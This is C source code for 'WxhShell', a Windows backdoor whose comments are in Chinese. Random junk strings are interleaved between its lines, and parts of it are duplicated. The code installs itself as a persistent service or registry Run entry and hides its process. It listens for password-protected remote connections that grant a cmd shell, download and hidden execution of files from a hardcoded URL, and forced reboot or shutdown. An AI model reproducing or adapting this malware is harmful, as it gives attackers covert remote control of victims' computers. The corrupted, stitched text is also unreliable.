.Ci PROCESS_BASIC_INFORMATION pbi; R_j.k3r4d ~;oXLCL0}) HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); #bt z94/~O if(NULL == hInst ) return 0; ILCh1=?{9r {U-z(0 g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); #_ulmB; g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); e^*&& NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); h_t`)]- vs8[352 if (!NtQueryInformationProcess) return 0; :'r*
5EX tzN9d~JZ hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); iJOoO"Ai if(!hProcess) return 0;
2l,>x Dh^l:q+c if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; Jm ,:6T \r aP CloseHandle(hProcess); qdQ4%,E[ "6]oi*_8 hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); :[l}Bb, if(hProcess==NULL) return 0; #TUm&2 +V w5q6c%VZ HMODULE hMod; Yjo$vQi char procName[255]; y:\<FLR}j unsigned long cbNeeded; mqeW,89 )*%uG{h if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); Hd4 ~v0eS $Ud9v 4 CloseHandle(hProcess); V@+sNM X,@nD@ if(strstr(procName,"services")) return 1; // 以服务启动 4+qo=i G>^= Bm_$ return 0; // 注册表启动 s]yZ<uA } &2:WezDF yq, qS0Fo // 主模块 &7kLSb&|; int StartWxhshell(LPSTR lpCmdLine) 8;~,jZ
s { atZNX1LD[/ SOCKET wsl; YeJTB} BOOL val=TRUE; FXk*zXn6 int port=0; >mQD/U struct sockaddr_in door; F+c8
O {uwPP2YD, if(wscfg.ws_autoins) Install(); rG-x 3>b gRs@T<k2 port=atoi(lpCmdLine); Q$Qr)mcC _0 [s] if(port<=0) port=wscfg.ws_port; xNY&*jI Lniz>gSc WSADATA data; -=
c&K& if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; u YFy4E3 u<"-S63+ if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; z+fy&NPl setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); xxGQXW door.sin_family = AF_INET; [C
ezz5 door.sin_addr.s_addr = inet_addr("127.0.0.1"); =sAOWI,8! door.sin_port = htons(port); j~rW
2( }K.)yv n if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ER`;0#3[9u closesocket(wsl); 9R+ qw return 1; {o'(_.{ } heES
[ O~J f"Ht if(listen(wsl,2) == INVALID_SOCKET) { *ax&}AHK[/ closesocket(wsl); 4M$"0}O;[h return 1; FKtCUq,: } f#38QP-T Wxhshell(wsl); yqb$,$ WSACleanup(); G #$r)S Yg!fEopLb return 0; TD ;u" pcQzvLk } FLumI-se! !{r@ H+Kf // 以NT服务方式启动 ^6UE/4x!y VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) rb.:(d)T { LK|rLoia: DWORD status = 0; Y,KSr|vG DWORD specificError = 0xfffffff; KWVl7Kw#e qpB8ujj<V serviceStatus.dwServiceType = SERVICE_WIN32; V'N]u(^ serviceStatus.dwCurrentState = SERVICE_START_PENDING; +nFC&~q serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; [r1\FF@v, serviceStatus.dwWin32ExitCode = 0; 7?Twhs.O serviceStatus.dwServiceSpecificExitCode = 0; |'k7 ;UW serviceStatus.dwCheckPoint = 0; St3/mDtH serviceStatus.dwWaitHint = 0; Cj)*JZVG 9Kc;]2m hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ?DM!=.] if (hServiceStatusHandle==0) return; Gd2t^tc |r`0< ` status = GetLastError(); r [n vgzv@ if (status!=NO_ERROR) eeUEqM$7EX { /a-OBU serviceStatus.dwCurrentState = SERVICE_STOPPED; U7xQ 5lph serviceStatus.dwCheckPoint = 0; %vWh1- serviceStatus.dwWaitHint = 0; CVgVyy^ serviceStatus.dwWin32ExitCode = status; vcp[$-$QGJ serviceStatus.dwServiceSpecificExitCode = specificError; w2]]##J SetServiceStatus(hServiceStatusHandle, &serviceStatus); )K0rPnYV return; O1z3( } $2v{4WP7G <QRRD*\ serviceStatus.dwCurrentState = SERVICE_RUNNING; <`=(Ui$fD serviceStatus.dwCheckPoint = 0; C1(0jUz serviceStatus.dwWaitHint = 0; u`Zj~t if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); HqKD]1 } WaDdZIz4 1NU@k6UHl // 处理NT服务事件,比如:启动、停止 !-|{B3"6 VOID WINAPI NTServiceHandler(DWORD fdwControl) "xMnD(p { R` >z>!) switch(fdwControl) m^YYdyn]M { .^FdO$" case SERVICE_CONTROL_STOP: v?#W/].C+ serviceStatus.dwWin32ExitCode = 0; /HM0p serviceStatus.dwCurrentState = SERVICE_STOPPED; OR-fC serviceStatus.dwCheckPoint = 0; /c52w"WW serviceStatus.dwWaitHint = 0; mT#ebeBaf { !Im{-t SetServiceStatus(hServiceStatusHandle, &serviceStatus); ,wH]|`w } R(cM4T.a return; +J(@. case SERVICE_CONTROL_PAUSE: :"~n`
Q2[ serviceStatus.dwCurrentState = SERVICE_PAUSED; +FlO_=Bu break; {-e|x&- case SERVICE_CONTROL_CONTINUE: @6z]Xb serviceStatus.dwCurrentState = SERVICE_RUNNING; 5(&'/U^ break; ~e<h2/Xc case SERVICE_CONTROL_INTERROGATE: >_LZD4v!< break; 4A~1Z,"%v( }; u+, SetServiceStatus(hServiceStatusHandle, &serviceStatus); g/e2t=qP } EPGp8VGXp~ v?qU/ // 标准应用程序主函数 `l`)Cs;a int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) s&~i S[ { rIZ^ix-N je^=g nq // 获取操作系统版本 n0%]dKCB OsIsNt=GetOsVer(); vSG$2g= GetModuleFileName(NULL,ExeFile,MAX_PATH); B@v"giJg r 6,UW5389 // 从命令行安装 E)utrO R if(strpbrk(lpCmdLine,"iI")) Install(); We*&\e+"T ]Geg;[t // 下载执行文件 "jMSF@lr if(wscfg.ws_downexe) { $@Kwsoh' if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) a!Ht81gj WinExec(wscfg.ws_filenam,SW_HIDE); Yl0_?.1 z } ;7w4BJcq'] &5o ln@YL if(!OsIsNt) { G [$u`mxV^ // 如果时win9x,隐藏进程并且设置为注册表启动 W"*~1$vf HideProc(); y?@(%PTp StartWxhshell(lpCmdLine); -"MB(` } &'d3Yt else $`Hb- if(StartFromService()) @eU5b63jM // 以服务方式启动 >,)tRQS StartServiceCtrlDispatcher(DispatchTable); k@/s-^ry3 else z*B-`i. // 普通方式启动 Q%
LQP!Kg StartWxhshell(lpCmdLine); qrZ*r{3 ~Ddlr9Ej return 0; 3}9c0%}F } rf]'VJg#3 7\nR'MOZ U9eb&nd pZaOd;t =========================================== 8Jb N&C 1aBQ.-E- nYbI =_- (n0h#% N!iugGL @_4E^KgF " 5
i;n:&Y qGrUS_~q* #include <stdio.h> r;
pS_PV #include <string.h> 2~(\d\k #include <windows.h> _m2p>(N| #include <winsock2.h> uA~T.b\ #include <winsvc.h> %e|.a)78 #include <urlmon.h> 7IUu] Fi (f `zd. #pragma comment (lib, "Ws2_32.lib") FhVoN} #pragma comment (lib, "urlmon.lib") PG*:3![2 cH>3|B*y #define MAX_USER 100 // 最大客户端连接数 Xah-*]ET #define BUF_SOCK 200 // sock buffer /_.1f|{B #define KEY_BUFF 255 // 输入 buffer L
j>HZS$F vS'l@`Eg] #define REBOOT 0 // 重启 oW\kJ>! #define SHUTDOWN 1 // 关机 |];f?1 ;2%8tV$V #define DEF_PORT 5000 // 监听端口 .5K}R< k^C^.[? #define REG_LEN 16 // 注册表键长度 3L1MMUACL #define SVC_LEN 80 // NT服务名长度 ~H1ZQ[ -}$mv // 从dll定义API }I>h<O typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); l`k""f69W typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); +fRABY5C typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); rf= ndjrH typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); P'Diie vn5O8sD // wxhshell配置信息 }ofx?s} struct WSCFG { <2,NWn. int ws_port; // 监听端口 tS:/:0HnA) char ws_passstr[REG_LEN]; // 口令 SQ0?M\D7 int ws_autoins; // 安装标记, 1=yes 0=no N6UPD11}6 char ws_regname[REG_LEN]; // 注册表键名 wpI_yp char ws_svcname[REG_LEN]; // 服务名 ![H{ndH!Q char ws_svcdisp[SVC_LEN]; // 服务显示名 J_eu(d[9 char ws_svcdesc[SVC_LEN]; // 服务描述信息 rGIf/=G^r char ws_passmsg[SVC_LEN]; // 密码输入提示信息 .mwB'Ll int ws_downexe; // 下载执行标记, 1=yes 0=no XS oHh- char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" u|{(m_"H char ws_filenam[SVC_LEN]; // 下载后保存的文件名 |zCT~# E hw2o-s^ }; 6i`Y]\X~# f@7HVv& // default Wxhshell configuration KbTd`AIL struct WSCFG wscfg={DEF_PORT, %|AXVv7IN> "xuhuanlingzhe", a4E{7c 1, y)*W!]:7^> "Wxhshell", d$qi.%<kh "Wxhshell", e gdbv "WxhShell Service", r<9G}9 "Wrsky Windows CmdShell Service", =;A>1g$ "Please Input Your Password: ", G<:gNWXd\ 1, (\M#Ay t) "http://www.wrsky.com/wxhshell.exe", 0i3Z7l] "Wxhshell.exe" aGbHDo }; wmB_)`QNP K=N8O8R$y // 消息定义模块 KEfwsNSc% char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; |A, <m#C char *msg_ws_prompt="\n\r? for help\n\r#>"; 4H*M^?h\# char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; u8r<B4k char *msg_ws_ext="\n\rExit."; C/#?S=w`4 char *msg_ws_end="\n\rQuit."; 9!?Ywc>0# char *msg_ws_boot="\n\rReboot..."; M.3ULt8 char *msg_ws_poff="\n\rShutdown..."; !%Bhg? char *msg_ws_down="\n\rSave to "; ^@HWw@GA 6]NaP_\0 char *msg_ws_err="\n\rErr!"; )K!!Zq3;| char *msg_ws_ok="\n\rOK!"; ?<efKs K,5_{pj char ExeFile[MAX_PATH]; tUT:vK` int nUser = 0; `R
m<1 HANDLE handles[MAX_USER]; a^g}Z7D'T int OsIsNt; YkF52_^_ a[=;6! SERVICE_STATUS serviceStatus; $bFH%EA. SERVICE_STATUS_HANDLE hServiceStatusHandle; A_g\Fa[jG !QlCt>{ // 函数声明 wnjAiIE5 int Install(void); ib%'{?Q. int Uninstall(void); GJIZu&C int DownloadFile(char *sURL, SOCKET wsh); }6"l`$=Ev int Boot(int flag); 4w#:?Y
_\[ void HideProc(void); kgP6'`}E[ int GetOsVer(void); vD76IG j m int Wxhshell(SOCKET wsl); 3?Fe(!@ void TalkWithClient(void *cs); :"'*1S* int CmdShell(SOCKET sock); $6]1T> int StartFromService(void); /HVxZ2bar int StartWxhshell(LPSTR lpCmdLine); @k9n 0Qe|F Yy0U2N[i VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); x}~Z[ bx VOID WINAPI NTServiceHandler( DWORD fdwControl ); %?Q< L, 2;-b| // 数据结构和表定义 cb }OjM F SERVICE_TABLE_ENTRY DispatchTable[] = VE))`? { E&dxM{` {wscfg.ws_svcname, NTServiceMain}, qRL45[ K {NULL, NULL} Q})&c.L }; ',!>9Dj *^:s!F // 自我安装 4+:'$Nw int Install(void) vG:S(/\> { "a-;?S& char svExeFile[MAX_PATH]; K!(hj '0. HKEY key; <07]w$m/ strcpy(svExeFile,ExeFile); B\tm hcoZ5!LvT // 如果是win9x系统,修改注册表设为自启动
[IgqK5@ if(!OsIsNt) { LtGjHB\+ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { jB,VlL RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); piFZu/~Gq\ RegCloseKey(key); jS)YYk5 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { =7F?'&LC RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 5|Oj\L{ RegCloseKey(key); ,I
H~ return 0; 5p ,HkV } K^IB1U$ } 6Zx5^f(qd } Cx&l0ZXHEX else { |CAMdU Sa@T#%oU // 如果是NT以上系统,安装为系统服务 Ymf@r?F< SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); \f7R^;`_<R if (schSCManager!=0) o%*C7bU { QZJnb%] SC_HANDLE schService = CreateService .\:MB7p ( rDGrq9 schSCManager, 'EN80+xYX wscfg.ws_svcname, Qe_C^(P wscfg.ws_svcdisp, Hc-up.?v'v SERVICE_ALL_ACCESS, :<HLw.4O SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 7rG+)kHG SERVICE_AUTO_START, jhJ<JDJ?` SERVICE_ERROR_NORMAL, FiSx"o svExeFile, IaKJ W? NULL, +No` 89Y NULL, y;_F[m NULL, l| y.6v NULL, FL b NULL L`(\ud ); AR{$P6u!%| if (schService!=0) @d:GtAW { DXQ]b)y+N CloseServiceHandle(schService); gf}*}8D CloseServiceHandle(schSCManager); ZQn>+c2%! strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); B>c2 *+Bk strcat(svExeFile,wscfg.ws_svcname); }z,9!{~` if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { _#
cM vlk RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 0|g@;Pc RegCloseKey(key); (?ULp{VPFl return 0; -2'+GO7G } %:j`%F;R } KpDb%j CloseServiceHandle(schSCManager); j&
ykce } {,1>( } ;-_ZWk] hj{)6dBX% return 1; <~aKwSF[wW } #m;o)KkH$r ju07gzz // 自我卸载 )&Z`SaoP|J int Uninstall(void) R / ND f` { PHJHW#sv HKEY key; a8-V` d[ _@l if(!OsIsNt) { CIf@G>e- if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 2R,8q0qR: RegDeleteValue(key,wscfg.ws_regname); My Ky*wD RegCloseKey(key); 4*IXBi7% if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { R_>.O?U4 RegDeleteValue(key,wscfg.ws_regname); j\zlp RegCloseKey(key); O#p_rfQ return 0; unKl5A[h } F1BXu@~e( } TY5R=jh= } (nXnP{yb else { _1mpsY<k k_uI&, SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); kR:kn: if (schSCManager!=0) $ M/1pZ { 2 |JEGyDS- SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); Dr[;\/|# if (schService!=0) 6 EfBz { o!U(=:*b if(DeleteService(schService)!=0) { H=w):kL| CloseServiceHandle(schService); FP}I+Ys CloseServiceHandle(schSCManager); (y~%6o6 return 0; ew~?&= } Lusd kc7 CloseServiceHandle(schService); VW*?(,#j{ } !3\$XK]5ZT CloseServiceHandle(schSCManager); }0Uh<v@ } `9gV8u } 1P'A*`!K KLj=M;$:K return 1; _}ii1fLv } ~WORC\kCW r!O[|h // 从指定url下载文件 f6Lc"b3s1 int DownloadFile(char *sURL, SOCKET wsh) mEu2@3^E } { "\T-r 2 HRESULT hr; (6NDY5h~=n char seps[]= "/"; 68(^* char *token; u[PG/ploc char *file; @YQ*a4` char myURL[MAX_PATH]; aG#d41O char myFILE[MAX_PATH]; zwRF-{s 7U1M;@y strcpy(myURL,sURL); _+nk3-yQw token=strtok(myURL,seps); _ `O",Ff while(token!=NULL) 6R^32VeK($ { WT")tjVKA file=token; R4R\B token=strtok(NULL,seps); 5c(g7N } TwVkI<e0s? F?"Gln~; GetCurrentDirectory(MAX_PATH,myFILE); %'_:#!9 strcat(myFILE, "\\"); 9N{?J"ido strcat(myFILE, file); l4.ql1BX@y send(wsh,myFILE,strlen(myFILE),0);
(n~fe-?}8 send(wsh,"...",3,0); ::'Y07 hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); XP0;Q;WF} if(hr==S_OK) VpAwvMw return 0;
T3<1{"& else oNw=O>v return 1; t 4zUj%F MffCk!] } \`["IkSg7 OFmHj]I7= // 系统电源模块 #NGtba int Boot(int flag) `-P1Y { n1JV)4Mv HANDLE hToken; OIpT9 TOKEN_PRIVILEGES tkp; B8"c+<b <2%9O;bV[ if(OsIsNt) { z^.dYb7< OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); KS$"Re$ LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); r-L& ee tkp.PrivilegeCount = 1; 9QB,%K_:4 tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; r-xP6 AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 3{t[>O; if(flag==REBOOT) { ILl~f\xG) if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) v<g~EjzCf return 0; T?d}IDv1 } !G[%; d else { /5"T46jD if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) sR83e|4I return 0; c/^jD5U7 } ?E+f<jol } Gos#=H else { 1 hFh F^ if(flag==REBOOT) { mI DVN if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) Iy4%,8C]g return 0; EmrkaV-?k } Sew*0S( else { 7}~w9jK"F if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) Br}@Vvq@ return 0; Jq(;BJ90R } Ug546Bz } V>Z4gZp5sc 3(t,x return 1; _6,\;"it?8 } .81Y/Gad_ w:deQ:k // win9x进程隐藏模块 !vJ$$o6# void HideProc(void) Q4LPi;{\ { o8<~zeI 52Lp_M HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); Gds(.]_ if ( hKernel != NULL ) 6s~B2t:Y { : -#w pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); T*0;3&sA ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); R6fkc^ FreeLibrary(hKernel); n-jPb064 } g~.#.S ds ~@l4T_,k return; ,K\7y2/ } 6.KEe^[- TB.>?*<n] // 获取操作系统版本 M@h"FuX: int GetOsVer(void) i \/'w] { L8h!%56s OSVERSIONINFO winfo; ElB[k< winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); k;t G-~\d GetVersionEx(&winfo); 2AhfQ%Y= if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) pKq[F*Lut return 1; jxkQ #Y else oNPvks dC; return 0; F$
G)vskd } %}zkmEY.e C^4,L
\E // 客户端句柄模块 U*Y]cohh int Wxhshell(SOCKET wsl) &Lt$~}*&6 { a5ZXrWv SOCKET wsh; gU|:Y&lFZg struct sockaddr_in client; `f&::>5tD DWORD myID; "~ $i# O9By5j 4 while(nUser<MAX_USER) e>e${\=, { rYdNn0mhk int nSize=sizeof(client); RDHK'PGA wsh=accept(wsl,(struct sockaddr *)&client,&nSize); o jxK8_kl if(wsh==INVALID_SOCKET) return 1; obF|;fwPnR JHm Pa handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); H3R{+7 if(handles[nUser]==0) {p/Yz# closesocket(wsh);
WZ,k][~ else )b]wpEFl nUser++; 3$YbEl@# } Pi?G:IF WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); T|BlFJ0" *@#Gc%mGu return 0; LB]3-FsU+ } VUUnB<j nZ'jj S[! // 关闭 socket e4Ibj/ void CloseIt(SOCKET wsh) BI,]pf;GWv { z;9D[ME#1 closesocket(wsh);
ZLKbF9lo nUser--; iZnLgkk@ ExitThread(0); Pb T2-
F_ } qvy*;
<w SODHn9) // 客户端请求句柄 QbHX.:C void TalkWithClient(void *cs) %`5K8eB { w$iPFZC' %$ o[,13= SOCKET wsh=(SOCKET)cs; ESoC7d&.K{ char pwd[SVC_LEN]; .kuNn-$ char cmd[KEY_BUFF]; s92ol0` char chr[1]; U%@C<o
" int i,j; F?a
63,r 7\g#'#K while (nUser < MAX_USER) { 0%&}w UjV dB#c$1 if(wscfg.ws_passstr) { X0j> g^b8 if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); %4M,f.[e //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); =?y0fLTc //ZeroMemory(pwd,KEY_BUFF); a;;
Es i=0; lAo ~w while(i<SVC_LEN) {
&gT@oS{ ^vSSG5 : // 设置超时 ipGxi[Vav fd_set FdRead; o58c!44 struct timeval TimeOut; _0^>^he FD_ZERO(&FdRead); /=za
m3kd FD_SET(wsh,&FdRead); 7uw-1F5x7 TimeOut.tv_sec=8; [ t8]'RI% TimeOut.tv_usec=0; w]h8KNt int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 38X{>* if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); T3=h7a %= eF7I5k4 if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 0>-}c> pwd=chr[0]; [8Z#HjhQ if(chr[0]==0xd || chr[0]==0xa) { K@[Hej6d pwd=0; sxuP"4 break; vY.VFEP/ } 9vDOSwU* i++; 6Ktq7'Z@ } lZIJ[. jp4-w( // 如果是非法用户,关闭 socket @C=gMn.E if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); M(\{U"%@? } 9o?\*{'KT cotySio$ send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); )+,h}XqlX send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Br<lP#u=G zHNBX
Rx while(1) { /|&4&$ bxO/FrwTj{ ZeroMemory(cmd,KEY_BUFF); {!?M!/d iC! 6g|]X // 自动支持客户端 telnet标准 I} Q+{/?/ j=0; 8n2;47 a while(j<KEY_BUFF) {
}#&[[}@th if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); {gu3KV cmd[j]=chr[0]; E^{!B]/oP if(chr[0]==0xa || chr[0]==0xd) { )'7Qd(4WT cmd[j]=0; f9y+-GhaD break; !L9]nO 'BL } e87a9ZPm j++; vy={ziJ } %B1TN#KoT x}WP1YyT~ // 下载文件 D-i, C~W if(strstr(cmd,"http://")) { w03Ur4>T send(wsh,msg_ws_down,strlen(msg_ws_down),0); Vep41\g^ if(DownloadFile(cmd,wsh)) jVoD9H
F/ send(wsh,msg_ws_err,strlen(msg_ws_err),0); Tz9 (</y else V)5,E>;EN send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); a[rb-Z } jyyig% else {
- 3PLP$P _):@C:6 switch(cmd[0]) { HFyQ$pbBU G[_Z|Xi1 // 帮助
H4YA case '?': { #
&5. send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); -h
^MX break; c3#eL } Sj/v: // 安装 -,g.39u case 'i': { #k>A, if(Install()) [,ulz4" send(wsh,msg_ws_err,strlen(msg_ws_err),0); Mty[)+se else xA2I+r*o send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); DaGny0|BB break; nsV= } ]WcN6|b+ // 卸载 kj4=Q\Rfm case 'r': { (@^ySiU if(Uninstall()) `*kl> }$ send(wsh,msg_ws_err,strlen(msg_ws_err),0); 1L7^g* else Y8lZ]IB
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); s0x/2z break; FK-q-PKO#. } o#z$LT1dY // 显示 wxhshell 所在路径 w"QZ7EyJ case 'p': { g$hEVT char svExeFile[MAX_PATH]; 61gyx6v strcpy(svExeFile,"\n\r"); &U}8@; strcat(svExeFile,ExeFile); Wy-y-wi:p send(wsh,svExeFile,strlen(svExeFile),0); ,PJC FQMR break; @k'V`ZQF } uKD
}5M?{ // 重启 `2x. - case 'b': { !yq98I' send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 6zNWDUf if(Boot(REBOOT)) VUHf-bKl send(wsh,msg_ws_err,strlen(msg_ws_err),0); 7d|1T' else { ke<5]&x closesocket(wsh); cg9}T[A ExitThread(0); 3kF+wifsz } lHTr7uF( break; L8NZU*" } El
:%\hGy // 关机 -F3~X R case 'd': { OTJMS_IT send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ),j6tq[ if(Boot(SHUTDOWN)) KQw>6) send(wsh,msg_ws_err,strlen(msg_ws_err),0); F`{O else { eT(X Ri0 closesocket(wsh);
+`ov1h ExitThread(0); Iu >4+6 } y>gw@+ break; :7dc;WdM } l7 @cov // 获取shell V*Xr}FE case 's': { +KNd%AJ CmdShell(wsh); HNj;_S closesocket(wsh); fy|I3 ExitThread(0); \$ss break; y"U)&1 c% } 8.I3%u // 退出 r=AA
/n< case 'x': { T-/3
A%v send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); .P?n<n# CloseIt(wsh); ji.?bKqHE break; 2cRru]VZ5 } )/~o'M3 // 离开 . n)R@&9 case 'q': { <X1lq9 lW send(wsh,msg_ws_end,strlen(msg_ws_end),0); }4h0{H closesocket(wsh); 19!;0fe= WSACleanup(); eQn[ exit(1); e+4Eiv break; WpnP^gmX } EV w {G< } -Wh 2hWg+ } ?.lo[X<,*
_Rkvg- // 提示信息 d~h;|Bl[ if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); cx&\oP } ZU+_nWnl } zDbO~.d oayu*a. return; uwZ,l-6T } eO*s,* !"Q%I#8uh // shell模块句柄 PB5h5eX int CmdShell(SOCKET sock) tns8B { n~}[/ly STARTUPINFO si; ^yq}>_ ZeroMemory(&si,sizeof(si)); 2 >j0,2 si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; BGwD{6`U si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; hlze]d?z PROCESS_INFORMATION ProcessInfo; &/)B d% char cmdline[]="cmd"; / #rH18 CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); u U>L ( return 0; w%\{4T~ } dGkw%3[ "19#{yX4 // 自身启动模式 KZVdW@DY int StartFromService(void) M6^
\LtFt { m.1-[ 2{8~ typedef struct /93z3o7D> { +'MO$&6 DWORD ExitStatus; HpfZgkC+ DWORD PebBaseAddress; CmBgay DWORD AffinityMask; $e--"@[Y DWORD BasePriority; '-[hy>t ULONG UniqueProcessId; |O oczYf ULONG InheritedFromUniqueProcessId; WWZ<[[ > } PROCESS_BASIC_INFORMATION; Hc8He!X*# bM:4i1Z PROCNTQSIP NtQueryInformationProcess; WG,1%=M@ XBkaum4j static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; C<I?4WM static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; q9j~|GE| C7* YZe HANDLE hProcess; 3!fR'L/i PROCESS_BASIC_INFORMATION pbi; r^<,f[yH dg|x(p# HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); vc p{Gf|^ if(NULL == hInst ) return 0; YGLq~A xRhGBb{@s g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); <2&qIvHL g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); F~
\ONO5 NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); <jF&+[*iT zuW4gJ if (!NtQueryInformationProcess) return 0; a3\~AO H% "RK"Pn+ hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); &oB*gGRw=7 if(!hProcess) return 0; 'PY; .FgeAxflP if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; &dmIv[LU Sk!' 2y*@& CloseHandle(hProcess); f77W{T4 ?hc=w 2Ci hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); )V[j~uOU)] if(hProcess==NULL) return 0; 'iZwM>l\ ecz-jZ!
